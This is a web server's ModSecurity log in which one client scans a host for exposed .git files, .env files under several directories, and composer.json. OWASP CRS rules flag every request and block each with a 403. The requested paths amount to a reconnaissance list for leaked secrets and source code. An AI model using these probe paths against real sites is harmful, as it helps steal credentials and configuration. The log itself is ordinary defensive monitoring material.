[Tue Oct 27 11:34:02.797255 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auDEalTmXkizvR8k42UIrgAAABU"]
[Tue Oct 27 11:34:02.797533 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDEakT-nkC2k8zcLn8WCgAAAAE"]
[Tue Oct 27 11:34:02.797571 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auDEalTmXkizvR8k42UIrgAAABU"]
[Tue Oct 27 11:34:02.798453 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auDEat6XOKPJcVnECbx2qAAAABY"]
[Tue Oct 27 11:34:02.798512 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auDEatmgjCRRylsqPBT2AAAAACo"]
[Tue Oct 27 11:34:02.798583 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auDEat6XOKPJcVnECbx2qAAAABY"]
[Tue Oct 27 11:34:02.798650 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auDEatmgjCRRylsqPBT2AAAAACo"]
[Tue Oct 27 11:34:02.798806 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auDEat6XOKPJcVnECbx2qAAAABY"]
[Tue Oct 27 11:34:02.798869 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auDEatmgjCRRylsqPBT2AAAAACo"]
[Tue Oct 27 11:34:02.874568 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auDEat6XOKPJcVnECbx2qQAAABY"]
[Tue Oct 27 11:34:02.874568 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDEatmgjCRRylsqPBT2AQAAACo"]
[Tue Oct 27 11:34:02.874712 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDEatmgjCRRylsqPBT2AQAAACo"]
[Tue Oct 27 11:34:02.874755 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auDEat6XOKPJcVnECbx2qQAAABY"]
[Tue Oct 27 11:34:02.874943 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDEatmgjCRRylsqPBT2AQAAACo"]
[Tue Oct 27 11:34:02.875017 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auDEat6XOKPJcVnECbx2qQAAABY"]
[Tue Oct 27 11:34:02.906909 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auDEaq-hHEA5KuUIXOZFCAAAAB8"]
[Tue Oct 27 11:34:02.907135 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auDEaq-hHEA5KuUIXOZFCAAAAB8"]
[Tue Oct 27 11:34:02.907485 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auDEaq-hHEA5KuUIXOZFCAAAAB8"]
[Tue Oct 27 11:34:02.908957 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auDEag23RZndSc31yX5tywAAABQ"]
[Tue Oct 27 11:34:02.909198 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auDEag23RZndSc31yX5tywAAABQ"]
[Tue Oct 27 11:34:02.909526 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auDEag23RZndSc31yX5tywAAABQ"]
[Tue Oct 27 11:34:02.961744 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auDEagY08XOpcUzVxFxUtAAAABM"]
[Tue Oct 27 11:34:02.961915 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auDEagY08XOpcUzVxFxUtAAAABM"]
[Tue Oct 27 11:34:02.962179 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auDEagY08XOpcUzVxFxUtAAAABM"]
[Tue Oct 27 11:34:02.978173 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auDEaloIklFaGsOHQ-PJLwAAAAw"]
[Tue Oct 27 11:34:02.978504 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auDEaloIklFaGsOHQ-PJLwAAAAw"]
[Tue Oct 27 11:34:02.978974 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auDEaloIklFaGsOHQ-PJLwAAAAw"]
[Tue Oct 27 11:34:02.981079 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auDEanGERCR4kETtK7LcuQAAABg"]
[Tue Oct 27 11:34:02.981383 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auDEanGERCR4kETtK7LcuQAAABg"]
[Tue Oct 27 11:34:02.981757 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auDEanGERCR4kETtK7LcuQAAABg"]
[Tue Oct 27 11:34:02.983401 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auDEaq-hHEA5KuUIXOZFCQAAAB8"]
[Tue Oct 27 11:34:02.983650 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auDEaq-hHEA5KuUIXOZFCQAAAB8"]
[Tue Oct 27 11:34:02.984002 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auDEaq-hHEA5KuUIXOZFCQAAAB8"]
[Tue Oct 27 11:34:02.985521 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auDEag23RZndSc31yX5tzAAAABQ"]
[Tue Oct 27 11:34:02.985752 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auDEag23RZndSc31yX5tzAAAABQ"]
[Tue Oct 27 11:34:02.986093 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auDEag23RZndSc31yX5tzAAAABQ"]
[Tue Oct 27 11:34:03.027987 2026] [proxy_fcgi:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 11:34:03.037149 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auDEawY08XOpcUzVxFxUtQAAABM"]
[Tue Oct 27 11:34:03.037338 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auDEawY08XOpcUzVxFxUtQAAABM"]
[Tue Oct 27 11:34:03.037584 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auDEawY08XOpcUzVxFxUtQAAABM"]
